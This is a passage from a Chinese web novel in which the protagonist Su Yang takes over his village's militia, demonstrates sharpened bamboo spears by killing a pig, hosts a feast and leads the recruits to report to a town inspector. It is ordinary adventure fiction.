几个村民感激涕零,看向苏阳的眼神,充满了敬畏。 打发走受伤的村民,苏阳转身来到卓小四的尸体旁。 他面无表情地看了一眼,又看了看地上昏迷不醒的赖志成,心中暗自叹了口气。 赖志成此刻的模样只能用惨不忍睹来形容。 脸上血肉模糊,五官已经看不出原来的样子。 身上的衣服被撕扯得破烂不堪,身上遍布淤青伤痕。 胳膊和腿也断了,扭曲成一个诡异的形状。 几个狗腿子跪在赖志成身边,哭爹喊娘。 “老爷,你醒醒啊!” “村正大人,你可不能死啊!” 他们的哭喊声,在混乱的现场,显得格外刺耳。 赖志成的老婆,此刻已经瘫坐在地上,目光呆滞。 她看看丈夫,又看看儿子,眼泪像断了线的珠子一样往下掉。 “老天爷啊,你这是要绝我们韩家的后啊!” 她喃喃自语,声音嘶哑。 卓明远站在一旁,眼神闪烁不定。 他看看昏迷不醒的赖志成,又看看已经断气的卓小四,心中五味杂陈。 “嫂子,你先别哭了,赶紧找人把麻哥抬回去,我去镇上找大夫!” 卓明远大声说道,声音中带着一丝焦急。 他嘴上说得好听,可心里却打着自己的小算盘。 请什么郎中? 老子要去告官! 他要告苏二抗拒徭役,聚众斗殴,打死人命! 只要把苏二这帮人抓起来,这青龙村还不是他卓明远的天下? 想到这里,卓明远转身就走,脚步飞快。卓明远刚从土台上跳下来,一个身影就挡在了他面前,脸上挂着让人捉摸不透的笑。 “卓明远,这是要去哪儿啊?” 声音不紧不慢,还带着点儿调侃。 “孔远山?你小子想咋样?” 卓明远心里一惊,慌忙稳住心神,装腔作势地吼道: “老子要去找郎中,滚开!” 孔远山是谁? 他可是苏阳的头号“智囊”,最会看人脸色、顺杆爬。 孔远山眼睛一眯,瞥了眼卓明远,冷哼一声: “卓明远,急啥?” 他不慌不忙地拦住去路,嘴角微微翘起: “正好,村里的护卫队要在三溪镇碰头,你一块儿走得了。让阳哥儿帮村长找个靠谱的大夫,咋样?” “不咋样!” 卓明远更慌了,他可不想跟这帮人一起走,那不是羊入虎口吗? 他脖子一梗,声音都变了调: “你们走到三溪镇,得啥时候了?村正的伤能等吗?” 孔远山脸色一变,语气瞬间冷了下来: “卓明远,你是不是忘了自个儿的身份?你也是乡勇!现在大家都去服徭役,你想当逃兵?” “我……” 卓明远顿时哑口无言,像被人扼住了喉咙,憋得满脸通红。 他做梦也想不到,孔远山居然会拿他的乡勇身份说事。 突然,卓明远脑海中“嗡”的一声,一个可怕的念头闪过。 没了赖志成撑腰,他在村里还能横行霸道吗? 这下彻底完了! 卓明远吓得腿都软了,根本没空去找官府。 保命要紧! 他偷偷瞄了一眼,苏阳手底下那几个壮小伙已经围了上来,个个都像饿狼一样盯着他。 卓明远相信,只要自己敢说半个“不”字,今天就别想囫囵个儿地回去了! 不止卓明远,赖志成的那几个狗腿子,此刻也都吓得大气不敢出,更别提把赖志成抬回家了。 笑话,这帮人都是村里的护卫队,万一苏二给他们扣上“逃兵”的帽子,那可就吃不了兜着走了! 苏阳在土台上看着乱糟糟的场面,微微皱眉。 这样下去不行,得想个法子。 他得把局面控制住,不能让青龙村乱了套。 赖志成那副德行,不死也残废了。 就算能活过来,也得在床上躺几个月。 有这几个月,苏阳还怕他个鸟? 到时候,想咋收拾他还不是一句话的事? 苏阳心里清楚,但他没打算斩草除根。 没必要,还会落个心狠手辣的名声。 “得了,你们几个,把赖志成送回去。” 苏阳挥挥手,让几个手下把赖志成弄走。 总不能让这家伙一直躺这儿,算个啥事。 几个棒小伙子可没啥好脾气,动作粗得很。 俩人拽胳膊,俩人抬腿,直接把昏死过去的赖志成抬走了,那架势,跟抬个麻袋似的。 赖志成的婆娘早就吓傻了,哪还敢废话,抱着同样不省人事的小儿子,屁滚尿流地跟在后面,一路狂奔回了家。 原本还义愤填膺的村民们,这会儿也慢慢冷静了下来。 不少人心里开始打鼓,脑门上也冒出了虚汗。 这事闹大了! 万一巡检老爷追究起来,谁能担得起? 青龙村的村民,说到底还是老实巴交的庄稼汉。 一想到可能会被官府问罪,很多人都后悔得想撞墙。 真是鬼迷心窍了,咋就动手打了赖志成呢? 苏阳站在土台上,把村民们的表情变化看得一清二楚。 第一百九十九章 他发现,大伙儿的士气很低,甚至有些害怕。 这可不行。 马上就要上战场了,士气这么低落,那还打个屁? 苏阳明白,对付青虎岭的土匪,光靠自己这二十来个小弟,那是白给。 指望其他村或者吕巡检? 更不靠谱! 得把整个青龙村拧成一股绳,才能把损失降到最低! 这时,人群里又有人提议,让苏阳当都头,甚至当村正。 “让苏阳当都头!” “对,让苏阳当村正!” “韩家那怂样,再让他们当家,咱还有活路吗?” …… 声音越来越大,越来越响。 苏阳这次没再推三阻四。 他知道,该自己站出来了。 苏阳深吸一口气,大声说道: “乡亲们,既然韩家不行,那咱就换人!村正的事先放一边,眼下最要紧的是把乡勇的事办好。这样,凡是被选中的,都可以先从我这儿借两石粮食,等回来再还,咋样?” “噢……” “噢噢……” “阳哥儿仗义!” …… 人群先是安静了一瞬,紧接着就炸开了锅! 让村民们吃饱饭、不受冻,这就是苏阳的底气。 这招一出,效果杠杠的。 村民们刚才还蔫了吧唧的,现在一个个都跟打了鸡血似的,嗷嗷直叫! 看来刚才揍赖志成揍对了。 要不然,上哪儿借粮去? 家里人还不得饿死? 不过,惊喜还没完。 苏阳紧接着又抛出一个重磅消息! 他扯着嗓子喊道: “出征这段时间,卧龙沟北岸的活儿不停!大家伙儿照样一天三顿饭,两升粮!” “要是家里有壮丁被选上了乡勇,可以让婆娘、娃儿顶上!一样管饭,一样拿粮!” 这一下,不光是乡勇,所有村民都跟疯了一样,欢呼声震天响。 几乎家家户户都有人在卧龙沟北岸干活。 本来大伙儿都以为,这一出征,苏二的活儿肯定就停了,好日子也就到头了。 谁知道,活儿不停,好日子还能接着过! 一时间,那些打了赖志成的村民,心里那点儿害怕全都烟消苏散,只剩下对未来的美好期盼。 “阳哥儿真是活神仙啊!” “啥活神仙,我看是财神爷下凡!” “你们都说错了,阳哥儿肯定是济富童子,专门来给咱送钱粮的!” “对对对,济富童子好,济富童子妙!” …… 听着村民们乱七八糟的议论,苏阳一阵无语。 不过,他没急着带大家走。 苏阳话锋一转: “不过,咱也不能就这么去打仗。赤手空拳的,那不是找死吗?” 他指了指大伙儿手里的锄头、耙子: “这些玩意儿,对付土匪可不顶用。” “都回去,找两根竹竿来,要粗的,硬的!” 拿农具上战场? 开啥玩笑! 一根削尖了的竹竿,比锄头管用多了。 这可是苏阳用血泪换来的经验。 更何况,不少乡勇拿的还是木头锄头,那就更不中用了。 至于竹子,这年头虽然金贵,倒也不是啥稀罕物。 别说专门种竹子的南边了,就是清阳县这地界儿,也有不少。 不少人家为了省事儿,直接拿竹竿当篱笆。 乡勇们虽然不知道苏阳要竹竿做啥,但还是听话地回家找去了。 没多大会儿,乡勇们就都回来了,手里拎着长短不齐的竹竿。 “阳哥儿,竹竿弄来了,啥时候走?” 有人急吼吼地问道。 苏阳摇了摇头,示意大家先别急: “走之前,咱先把这竹竿收拾收拾!”苏阳开始现场教学,演示藤矛的做法。 这玩意没啥技术含量,主打的就是一个就地取材,简单实用。 说白了,就是把竹竿一头削尖,再搁火上烤一烤,让尖头碳化变硬,就完事了。 没啥秘密,也不怕人学。 可刚做好藤矛,就有人提出了疑问。 张屠户的儿子,陈木生他爹,拎着一把明晃晃的杀猪刀就过来了: “阳哥儿,这竹竿……它能顶用吗?俺看,俺还是用吃饭的家伙吧……” 张屠户也跟着帮腔,他平时用惯了杀猪刀,用着顺手: “可不是咋地,阳哥儿,这竹竿软趴趴的,俺心里头发毛……” “阳哥儿,俺也一样,我手里这把柴刀正合适,劈惯了……” 边上几个村民也七嘴八舌地说开了。 “……” 质疑声此起彼伏。 也难怪,这藤矛卖相实在不咋地,软不拉几的,让人心里没底。 苏阳刚要解释几句,安抚一下众人。 突然,一阵“哼哧哼哧”的声音,由远及近传了过来。 众人循声望去。 嘿,来熟人了。 三溪镇的卖肉小贩,赶着一头肥猪,正朝这边走来。 “二哥,是三溪镇的卖肉小贩!” 陈木生眼睛尖,隔着老远就扯着嗓子喊了起来。 苏阳也眯起了眼睛。 没错,就是他。 之前在三溪镇上,这小贩见苏阳惹了眼煞豹,怕被牵连,二话不说,扭头就跑。 这会儿听说眼煞豹倒了,立马又赶着猪过来了。 毕竟苏阳之前预付了二两银子的定钱,他不敢得罪,也不想丢了这单生意。 苏阳倒没往心里去。 怕眼煞豹,人之常情嘛。 再说了,这贩子也不归咱管啊,没必要为了这点小事儿跟他置气。 这不,正好送猪上门了! 苏阳灵机一动,计上心来: “石头,你带你的人,去把藤矛都换上!” “得嘞!” 陈木生二话不说,扭头就招呼手底下的小子们。 “咔咔咔……” 一阵竹竿碰撞的声响,这帮小子们动作那叫一个麻利,瞬间就换上了清一色的藤矛。 其他乡勇都傻眼了。 这是啥操作? 要把真刀真枪让出来,给大家伙儿用? 还有这好事? 不会吧? 正当大伙儿丈二和尚摸不着头脑的时候,卖肉小贩已经赶着猪走到了跟前。 “小虎,给你送头猪过来……” 话刚说了一半,他突然就卡壳了,像是被掐住了脖子的鸭子,声音戛然而止。 只见苏阳大手一挥,一群小子端着明晃晃的藤矛,气势汹汹地就冲了上来! 那架势,跟要吃人似的! 卖肉小贩感觉自己的心脏都快从嗓子眼里蹦出来了。 那卖肉的小商贩都被吓傻了,青龙村的村民们也都看傻了眼。 一个个嘴巴张得能塞进个鸡蛋,眼珠子都快掉地上了。 啥情况这是? 苏二这是要干啥? 这赶猪的,难不成真是土匪派来的奸细? 看着不像啊! 就在众人惊疑不定的时候,陈木生突然爆喝一声: “刺!” 声震四野,杀气腾腾。 他手下的小子们,手里的藤矛如同离弦的箭,整齐划一地刺了出去! “啊!” 卖肉小贩吓得魂飞魄散,双腿一软,差点没当场跪下。 我滴个娘嘞! 我不就是上次跑得快了点嘛? 第二百章 这青龙村的人,咋这么不讲理呢? 一言不合就要杀人? 这还有没有王法了? 不少村民也被这突如其来的变故吓得惊声尖叫。 有几个胆小的,直接捂住了眼睛,不敢再看。 女人们的尖叫声,更是此起彼伏,响彻苏霄。 那声音…… 说害怕吧,又带着点兴奋劲儿。 那叫一个……刺激! “噗嗤!” “噗嗤!” “噗嗤!” “……” 藤矛入肉的声音,清晰可辨。 “嗷……嗷嗷……” 紧接着,杀猪般的嚎叫声,响彻整个村口。 这回发出声音的可不是啥人,是猪。 几乎是一眨眼的功夫,这头肥猪身上就多了几个血窟窿。 藤矛一拔,鲜血“滋滋”地往外喷,跟喷泉似的。 这画面,简直不要太血腥! 几个胆小的女人,直接就吓晕了过去。 “哦……” 村民们这才恍然大悟。 闹了半天,苏二不是要杀人,是要杀猪啊! 这猪也太倒霉了! 身上多了几个透明窟窿,血流不止,四条腿拼命蹬踹,却怎么也站不起来。 只能徒劳地挣扎,没几下就咽了气。 “嘶……” 不少村民倒吸一口凉气,后背直冒冷汗。 我的老天爷! 这也太吓人了! 就这么一根破竹竿,削尖了烤一烤,就能把一头猪给捅死? 这也太邪乎了吧! “嘶……” 又有人倒吸凉气。 不对! 这里面肯定有蹊跷! 肯定是苏阳在藤矛上动了手脚! 要不咋叫济富童子呢? 没点真本事,能随便散财? 肯定是这样! 乡勇们一琢磨,顿时来了精神,一个个跟打了鸡血似的。 跟着神仙混,还怕个啥? 有神仙罩着,别说土匪,就是玉皇大帝来了也不怕! 这边厢,村民们士气高涨。 那边厢,卖肉小贩吓得魂不附体,脸色惨白,冷汗直流。 “少……少爷,我错了,您饶了我吧!” 他“扑通”一声跪在地上,一个劲地磕头求饶。 苏阳哈哈一笑,走上前,在他肩膀上拍了拍: “行了,起来吧。我就是让大伙儿看看,这藤矛的厉害!” “嚓!” 卖肉小贩差点没当场晕死过去。 展示威力? 你拿我的猪展示威力?! 这叫哪门子事儿啊! 他心里那叫一个憋屈,可又不敢说出来。 村民们不知道苏阳和这小贩有交易,见他那副死了亲爹一样的表情,都替他感到肉疼。 这么大一头猪,说没就没,这得损失多少银子啊! 换了谁谁不心疼? 有些人开始嘀咕起来。 从苏阳的态度来看,这赶猪的应该不是土匪探子。 那苏二这是干啥? 欺负人? 这才当上都头几天啊,还没坐上村长这把交椅呢,就这么嚣张? 该不会是赖志成刚走,苏二就原形毕露了吧? 可别啊! 大家伙儿还指望着过几天好日子呢! 也难怪村民们多想。 这些年,被欺负怕了,好不容易盼着来了个青天大老爷,可不能再出什么幺蛾子了。 不少人心里都捏了一把汗,看向苏阳的眼神也变得有些异样。 苏阳可没工夫搭理村民们的小心思。 他现在心疼得滴血。 可惜了这一身的猪血。 我的血肠啊,我的血豆腐啊,我的杀猪菜啊…… 全没了! 为了让你们这帮兔崽子见识见识藤矛的厉害,老子可是下了血本了! 苏阳越想越心疼,忍不住狠狠地瞪了卖肉小贩一眼。 “还愣着干啥?赶紧给老子杀猪!再磨蹭,猪血都凝了!” 苏阳没给卖肉小贩好脸色。 有些人,不能惯着,得时不时敲打敲打。 不然,他还真以为你好欺负呢。 卖肉小贩哪敢说个“不”字。 他平时杀猪是杀猪,可也没见过这么个杀法啊。 一排藤矛,直接捅出一堆透明窟窿,这谁顶得住? 他哆哆嗦嗦地爬起来,手忙脚乱地去收拾那头死猪。 原本,按苏阳的计划,是准备带人去三溪镇,再拉些人马。 但眼下既然有了头新鲜猪,索性就在村里开个荤。 等大伙儿吃饱喝足,再去三溪镇也不迟。 苏阳把人重新编排了一下。 他把目光在众人身上扫视一圈,心里有了计较。 “远山,你过来。” 苏阳指着一个身材矮小,其貌不扬的中年汉子,开口说道。 卓远山,是赖志成的族亲,平时在村里存在感不高。 苏阳之所以选他,是因为这人虽然胆小怕事,但心眼不坏,而且识字。 在这个年代,识字的人可不多见,在乡下更是凤毛麟角。 “从今天起,你就是辎重队的队正,负责管后勤,有问题没有?” 苏阳直接任命道。 又将几个年纪大的、体力弱的、反应慢的、胆子小的……统统挑了出来,召集了三十来号人的运输队,负责运粮草,做饭等杂七杂八的后勤工作。 他边上站着的,都是些精壮汉子,约莫六十来人。 苏阳琢磨着,这些人就编个战斗队,专门负责打仗。 说起来,赖志成挑乡勇的时候,也是真够黑的,不光挑年轻人,还挑了不少老弱病残。 也不知道这老小子安的什么心,或许压根就没打算让这些人活着回去。 苏阳心里忍不住骂了一句。卓远山这人,要说胆子,那是真比针尖大不了多少。可要论脑子,十里八乡能比得上的,还真没几个。 这种人,你让他提刀上阵砍人? 算了吧,别到时候没砍着敌人,先把自己吓尿了。 但要说耍个心眼,玩个算计,搞搞后勤…… 嘿,那绝对是把好手,谁也比不上! 苏阳心里跟明镜似的。 用人嘛,就得看长处。 谁还没个短处? “远山,往后这辎重队,可就交给你了。” 苏阳走过去,手在卓远山肩膀上那么一拍,不轻不重,话里透着股子信任劲儿。 卓远山听了这话,先是一愣,接着眼珠子都亮了,腰杆子“噌”地一下挺得笔直。 他眼睛滴溜溜地在人群里扫了一圈,那小眼神,活像一只刚偷着鸡的黄鼠狼。 似乎在说: “怎么样,你们这帮瘪犊子,以后谁还敢瞧不起老子?” 可转了一圈,卓远山却发现,压根就没人拿正眼瞧他。 这下,他那股子得意劲儿,立马就没了,像个被扎了一针的皮球,瘪了。 “哼,一帮四肢发达,头脑简单的夯货!” 卓远山心里头那个气呀,可又没处撒,只能憋着,在心里头一个劲儿地骂。 “等以后有你们哭的时候!” …… 苏阳可没心思管卓远山那点小心思。 把辎重队的事儿一撂,他扭头就把陈木生给叫了出来。 “石头,往后队里的训练,你来负责!” 苏阳指了指那些新来的乡勇: “时间不多了,那些花架子先放一边,你就教他们一个——” 苏阳竖起一根手指头: “刺! 第二百零一章 用枪刺!” “把吃奶的劲儿都给我使出来!” “得嘞,二哥,这事儿你交给我,就擎好吧!” 陈木生答应得那叫一个干脆。 练刺杀? 这有啥难的! 当初二哥咋练咱们的,咱就咋练他们! 简单! 可等陈木生真接了这活儿,他才发现,这事儿,还真没他想的那么简单。 这帮新来的,哪像是当兵的料啊,简直就是一群刚从地里爬出来的庄稼汉! 老的都快抱孙子了,小的还在穿开裆裤呢,啥人都有。 你让他们站个队,好家伙,站得跟麻花似的,能不把自己给绕进去就不错了。 “就这……还想打土匪?” 陈木生心里头那个火啊,蹭蹭地往上冒。 “能囫囵个儿回来就烧高香了!” 等到真刀真枪地练起来,陈木生差点没当场崩溃。 他让往东,偏偏有人往西。 他让刺,有人偏偏要收枪。 还有几个愣头青,差点没把枪尖捅到陈木生鼻子底下去! “我的老天爷啊,这都是一群什么祖宗啊!” 陈木生真是哭都没地方哭去。 这下,他算是彻底明白了,当初苏阳带着他们训练的时候,得有多憋屈。 以前还觉得二哥脾气太坏,动不动就发火。 现在看来…… 二哥那哪是脾气坏啊,简直就是活菩萨! 要换成自己,早就一脚一个踹过去了! …… 苏阳把训练的事儿交给陈木生,自己则一头扎进了灶房。 练兵重要,可填饱肚子更重要。 人是铁,饭是钢,一顿不吃饿得慌。 更何况,他还指望着这顿饭收买人心呢。 “王婶,这猪下水就麻烦你了,找几个手脚麻利的婶子,好好给收拾干净了!” “绮娘,你带着人,麻溜儿地回去蒸饭!多蒸点,今天可劲儿造!” 苏阳一边忙前忙后,一边张罗着。 突然,他想起一件事,转头对旁边一个正盯着大锅流口水的汉子喊道: “对了,生子,你去把王屠户给我叫来,就说我有事找他!” “好嘞!” 生子应了一声,一溜烟儿地跑了。 没过一会儿,王屠就跟着生子过来了。 这王屠,祖上几辈都是杀猪的,到了他这儿,也没改行。 不过,他这名字,可不是他爹取的。 “王屠户,这猪怎么样?还算肥吧?” 苏阳笑眯眯地问道。 “苏二爷,您这可就说外行话了。这猪啊,可不是越肥越好。您瞧这头,肥瘦相间,刚刚好!多了腻,少了柴,这才是上品!” 王屠一边说,一边比划着。 “行,算你懂行。我也不跟你绕弯子了,这猪,出了多少净肉?” “六十一公斤重!您瞧好了,这都是上好的肉,连一点儿肥膘都没带!” 王屠指着案板上的猪肉说道。 “行,那就按六十一公斤重算。当初咱们说好的,一斤八十文,对吧?” “对对对,一斤八十文,这是咱们在三溪镇就说好的。” 王屠连连点头。 “那好,六十一公斤重,一斤八十文……一共是……” 苏阳掰着手指头算了半天,也没算明白。 “得,还是你算吧,我这脑子,算这个费劲。” 苏阳挠了挠头,说道。 “嘿嘿,苏二爷,您就瞧好吧。这种事儿,我门儿清!” 王屠咧嘴一笑,从腰里摸出一个小算盘,噼里啪啦地打了起来。 “九贯七百六十文!您给九贯七百文就行,那六十文,就当我孝敬您的!” 王屠笑眯眯地说道。 “行,痛快!这是十两银子,你点点。” 苏阳从怀里掏出一锭银子,递给王屠。 “不用点了,苏二爷的信誉,我还能信不过?不过,苏二爷,您之前不是已经付了二两定金了吗?” 王屠接过银子,掂了掂,说道。 “哦对,瞧我这记性。那你再找我二两三百文。” 苏阳一拍脑门,说道。 王屠从钱袋里数出二两三百文铜钱,递给苏阳。 “苏二爷,您慢用,有事儿您再招呼我!” 王屠收好银子,乐呵呵地走了。 周围几个没被选上当乡勇的村民,看着王屠手里白花花的银子,眼睛都红了。 “我的个娘啊,一头猪就值这么多钱?” “这得多少粮食啊!” “苏二真是……有钱烧的!” “可不是咋地,这钱要是给我,我家能吃一年!” “……” 几个没见过世面的村民,在那儿小声嘀咕着。 在大元朝,牛是不能随便杀的。 每头牛,都得在官府登记。 死了,还得官府的人来验看。 敢私自杀牛? 那可是掉脑袋的大罪! 所以,牛的价格,反倒比猪还便宜。 你要是敢放开了杀牛,那价格,能涨到天上去! 这些村民,平时很少吃肉,只知道肉贵,哪知道这里头的门道。 听说苏阳为了请客,花了一头牛还多的钱,一个个的,心疼得直抽抽。 王婶和林绮娘,领着一群村里的妇人,忙前忙后。 苏阳手底下那些小子的娘、姐妹,大都跟着她们打下手。 没过多久,几口大锅就冒起了热气,香味儿也一阵阵地飘了出来。 训练场上,那帮新兵蛋子,已经被陈木生给折腾得快散架了。 别说刺杀了,连枪都快拿不稳了。 “哎,这帮家伙,底子还是太薄了啊。” 苏阳站在远处,看着那些累得像死狗一样的乡勇,摇了摇头。 这些庄稼汉,平时吃糠咽菜,营养跟不上,身子骨都亏空了。 想要补回来,哪是一朝一夕的事儿。 “算了,慢慢来吧,这事儿急不得。” 苏阳心里头琢磨着。 虚不受补,一下子吃得太油腻,肠胃也扛不住。 所以,他也没敢让大家敞开了造。 人均配给一小碗卤味萝卜,主食是两碗杂粮饭。 这杂粮饭,是小米和大米混在一起蒸的。 既有大米的香味,还能补充谷物能量,最适合这些平时吃不上细粮的庄稼汉。 可就算是这样,这顿饭,也把那些乡勇给感动坏了。 太香了! 这辈子都没吃过这么香的饭! 就连杀猪的王屠,都忍不住咽了好几口唾沫。 “这猪下水,还能这么做?我杀了半辈子猪,咋就不知道呢?” 王屠一边吃,一边心里头那个佩服啊。 这猪下水的做法,可是苏阳的独门秘方。 他教给了林绮娘和王婶。 先用热油把花椒、大料这些香料给爆出香味,再把洗干净的猪下水倒进去,翻炒。 最后再加水,咕嘟咕嘟一炖…… 那香味儿,能把人的魂儿都给勾走! 别的不说,单说这堆调味品,王屠就没舍得买过。 太贵了! 借粮,招人,立威,请客…… 苏阳这一套连招下来,算是彻底把这些乡勇的心给笼络住了。 到了下午人员到齐后,一个个的,精气神都不一样了。 第二百零二章 “阳哥儿,咱啥时候出发?我都等不及了!” “就是,我现在感觉能打死一头熊!” “一头熊算个啥?我现在能打死一只老虎!” “阳哥儿,你就下令吧,咱们啥时候去把那些天杀的土匪给宰了!” “……” 几个胆子大的,已经迫不及待地想要大干一场了。苏阳眼瞅着自家队伍士气如虹,斗志昂扬,心下也跟着热血沸腾。 “仓啷!” 一声清脆的金属鸣响,他猛地拔出腰间那口磨得锃亮的钢刀,刀锋斜指,遥遥点向村口的方向。 “出发!” 苏阳一声令下,声若洪钟,气势十足。 走在最前头的,是精挑细选出来的战斗队。一个个精壮的汉子,肩扛着长枪,昂首挺胸,步履铿锵。 唯一美中不足的,就是身上那洗得发白的粗布衣裳,实在有些跌份。可转念一想,谁说藤矛就不是枪了? 辎重队紧随其后,不紧不慢地跟在战斗队屁股后面。 苏阳为了提高行军速度和后勤补给能力,也是下了血本。四挂牛车,一挂驴车,这阵仗,在十里八乡也是独一份了。 车上堆得满满当当,除了锄头、铁锹这些农具,还有几口行军大锅、备好的干粮,以及一些零零碎碎的日常用品。当然,弓弩这类明令禁止的玩意儿,也巧妙地藏在其中。 要说这村里,会赶车的还真没几个。这下,平日里游手好闲的赖志成家的几个帮闲,总算是有了用武之地。 这几个家伙,平时没少给赖志成赶车,伺候牲口,那叫一个驾轻就熟。 孔远山迈着四方步,手里拎着条油光锃亮的皮鞭,气势汹汹地压阵在后方。 他那双精光四射的小眼睛,滴溜溜地在手下那帮乡勇身上扫来扫去。谁要是敢交头接耳,窃窃私语,他手中的鞭子立马就抽过去—— 当然,也就是吓唬吓唬人,谁敢真抽啊? 苏阳跨坐在高头大马上,只觉得自己威风八面,简直是古往今来第一人。 然而,一阵微风吹过,他心里却莫名地泛起一丝不安,总感觉有什么地方不对劲。 到底是哪儿不对劲呢…… “哎呀!坏事了!” 苏阳猛地一拍脑门,这才恍然大悟。 这些日子,光顾着整顿队伍,选拔乡勇,犒赏士卒,忙得脚不沾地,竟然把一件顶顶要紧的事情给忘了—— 他竟然忘了给赖志成请大夫! 可怜的卓村正,也不知伤势如何,能不能熬得住…… 一路上,除了偶尔有几条野狗,远远地缀在队伍后面,摇摇尾巴,倒也没遇上什么有威胁的活物。 日头偏西,眼瞅着就要落山的时候,三溪镇那高大的城墙,终于遥遥在望。 苏阳他们到的时候,太阳已经快要落山,其他几个村子的乡勇,早就到了,一个个无精打采地坐在地上。 三溪镇统共管着五个村子,临溪村,临溪村,清水村,依山村,还有他们青龙村,五个村子的名字简单直接,就是按照各村所处的位置取的名。 吕巡检下了命令,各村都派出百名壮丁,凑一块就是五百人。 这么多乡勇,要是都弄到镇子里头,非得闹出点乱子来不可。吕巡检也不傻,让各个村子在镇子外头寻个地方待着。 寻个地方待着,说白了就是找块空地,大家伙儿席地而坐。 这年头,除了那些当兵吃饷的,谁家有那闲钱置办帐篷? 青龙村是没有的,苏阳压根就没想过这事。至于赖志成?他更不可能给这些泥腿子预备那玩意儿。 几条人命,能值几个钱? 卧龙村的壮丁竟然开着板车前来,其他几个村子的乡勇,全都围过来看热闹。 “嘿,你们瞅瞅,青龙村这回可真是下了血本了!” “谁说不是呢,人家这村正,一看就是个干大事的!” “切,你们懂个屁!” 一个汉子撇了撇嘴,压低了声音说道, “我跟你们说,我有个远房亲戚,就住在青龙村,他们村那村正,可不是个东西!” “真的假的?那他咋还舍得赶这么多大车来?” “谁知道呢,兴许是良心发现了呗!” “……” 临溪村的村正王麻山,就是赖志成的岳父大人,他闺女,就是赖志成的媳妇。 王麻山耳朵尖,隔着老远就听见了乡勇们在那嘀嘀咕咕。 “都瞎咧咧啥呢?还不赶紧给老子滚回去!” 王麻山一声吼,那些个说闲话的乡勇,一个个吓得缩了脖子,一溜烟跑没影了。 “志强,你咋来了?你哥呢?” 王麻山走到卓明远跟前,皱着眉头问道。 “我……我哥他……身子不大舒坦……” 卓明远低着头,不敢看王麻山的眼睛。 “咋的了?病了?” 王麻山追问道。 “嗯……是有点……” 卓明远含含糊糊地应了一声。 “行了,我知道了。你去忙你的吧。” 王麻山摆了摆手,示意卓明远退下。 他转过身,目光落在了苏阳身上。 “这位小哥,以前没见过啊,你是……” 王麻山走到苏阳马前,拱了拱手,客气地问道。 苏阳从马上跳下来,还了一礼: “郑村正,我是青龙村的苏阳,这回带队的。” “哦?苏阳?你就是苏阳?” 王麻山上下打量着苏阳, “后生可畏啊!这么年轻,就能当上都头,不简单,不简单!” “郑村正过奖了。” 苏阳谦虚地笑了笑。 “对了,苏都头,你们村这些大车……” 旁边一个村正忍不住问道。 “哦,这些都是我家里的,拉来给乡勇们使唤使唤。” 苏阳轻描淡写地说道。 几个村正互相看了看,都没说话,心里头却都犯起了嘀咕。 这苏家,到底是啥来头? 出手这么阔绰,可不像是普通人家啊! 不过,大家伙儿都是头一回见面,也不好深问。 寒暄了几句,几个村正就各自回去了。 临走的时候,都留下了话,让苏阳有空到他们村子里坐坐。 打发走了这几个村正,苏阳也没耽搁,交代了孔远山几句,带着卓明远就进了三溪镇。 到了镇门口,守城的兵丁本来想拦,可见苏阳骑着高头大马,身后还跟着几个挎刀的乡勇,硬生生把到了嘴边的话给咽了回去。 这年头,能骑得起马的,都不是一般人。 万一要是惹恼了哪位贵人,他们这些小兵丁,可担待不起。 三溪镇不大,巡检司衙门就在镇子中心。 卓明远领着苏阳,七拐八拐,没多大会儿就到了。 到了门口,守门的衙役一听说是青龙村的都头来了,赶紧进去通报。 没过多久,一个衙役出来,把苏阳领了进去。 第二百零三章 进了衙门,苏阳一眼就看见了坐在上首的吕巡检。 只见他五十来岁,身材瘦小,尖嘴猴腮,一副贼眉鼠眼的样子,怎么看都不像个当官的。 苏阳心里暗自腹诽,这老家伙,不会是个贪官吧? 吕巡检见苏阳盯着他看,眉头一皱,不悦地说道: “你就是青龙村的都头?怎么这么晚才来?”吕巡检脸色阴沉,眼皮耷拉着,仿佛能用目光在地上砸出个坑来。 青龙村的乡勇姗姗来迟,这是哪个犄角旮旯里冒出来的规矩? 分明就是没把他这个巡检放在眼里! 面对吕巡检几乎要吃人的目光,苏阳却是不慌不忙,抱拳一礼,声若洪钟: “巡检大人,您先消消气!容我细细禀报!今儿一大早,我们村正赖志成,就是平日里对您老人家忠心耿耿那位,您还有印象吧?” 吕巡检没吭声,只是微微点了点头,示意苏阳继续说。 苏阳一看有戏,赶紧换上一副沉痛的表情,继续说道: “他老人家正准备出发的时候,突然眼前一黑,‘哎呦’一声……” 苏阳顿了顿,做了个夸张的摔倒动作,还配了个音。 “您猜怎么着?直接从台子上摔了下去!那叫一个惨烈啊,当场就昏死过去!我们几个赶紧把他扶起来一看,坏了,腿脚都动不了啦!这不,只能由我这个小辈来代劳……” 说着,苏阳把卓明远往前一推,力道不轻不重,既不会让卓明远摔倒,又让他踉跄了几步,显得有些狼狈: “这位是卓村正的亲兄弟,名叫卓明远。您有什么想问的,尽管问他,保证句句属实,绝无半点虚言!” 吕巡检眯缝着眼,像扫描仪一样上下打量着卓明远,似乎在判断他话里的真假。 卓明远被他看得心里打鼓,感觉自己像是在被扒光了衣服展览一样,浑身不自在。 这位吕巡检,平日里收他们好处的时候,可没这么吓人…… 吕巡检似乎想起了卓明远是谁,毕竟卓明远跟着赖志成来三溪镇服徭役,鞍前马后,也算是个熟面孔,只不过以前没怎么注意过。 “嗯,你来说说,这到底是怎么一档子事?” 吕巡检的声音低沉沙哑,带着一股子不容置疑的威严。 他能坐到这个位置,自然不是傻子,怎么可能只听苏阳这个毛头小子的一面之词? “巡……巡检老爷,我哥……他……他真是点儿背,喝凉水都塞牙,出门没看黄历,一个趔趄从高处栽下去,摔伤了……” 卓明远结结巴巴,每一个字都像是从牙缝里挤出来的,声音都有些变了调。 他强忍着心中的恨意,为了不暴露自己,只能昧着良心替苏阳遮掩。 他恨不得把苏阳碎尸万段,可眼下却不得不替他说话。这种感觉,比生吞了一只苍蝇还难受。 他想告状,想让吕巡检把苏阳抓起来,可话到嘴边,又硬生生咽了回去。 因为他清楚,苏阳压根就没动手,都是那些刁民干的。要是吕巡检找人来对质,那他不就穿帮了吗? 卓明远心里跟明镜似的,只要苏阳不死,就算把那些动手的刁民都给弄死,也无济于事。 等回了村,苏阳那个小兔崽子,能放过他才怪! 吕巡检自然不会在一个小小的村正身上浪费太多时间,简单问了几句,确认了赖志成确实来不了,也就没再深究。 毕竟,一个村正而已,对他来说,跟路边的蚂蚁没什么区别。 他挥了挥手,示意卓明远可以退下了。 